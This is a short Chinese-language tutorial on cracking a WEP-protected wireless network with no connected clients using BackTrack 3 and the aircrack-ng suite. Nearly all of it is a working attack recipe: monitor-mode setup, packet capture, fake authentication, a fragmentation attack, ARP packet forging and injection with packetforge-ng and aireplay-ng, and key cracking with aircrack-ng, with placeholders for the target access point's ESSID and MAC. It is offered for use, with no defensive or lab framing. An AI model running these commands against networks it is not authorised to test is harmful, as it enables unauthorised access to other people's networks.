BT3破解无客户端的无线网络

如何获得破解网卡的基本信息，参考这篇文章
http://www.cppblog.com/alantop/archive/2008/08/24/59825.html

1. 开一个shell，运行如下命令
airmon-ng start rausb0 6
6是路由器所在频道

airodump-ng --ivs -w name -c 6 rausb0

2. 开第二个 shell
aireplay-ng -1 0 -e 【 ap 的 essid 】 -a 【 ap 的 mac 】 -h 【自己网卡的 mac 】 rausb0

aireplay-ng -5 –b 【ap的mac】-h 【自己网卡的mac】 rausb0

packetforge-ng -0 -a 【ap的mac 】-h 【自己网卡的mac】 -k 255.255.255.255 -l 255.255.255.255 -y fragment -××××-××××.xor -w mrarp

aireplay-ng -2 –r mrarp -x 128 rausb0
128可以设置成一个比较大的值，如果在发数据包的时候没有卡死的话。

3.开第三个shell
aircrack-ng -n 64 -b 【ap的mac】 name-01.ivs

在破解的过程中，请尽量找信号比较好的ap破解。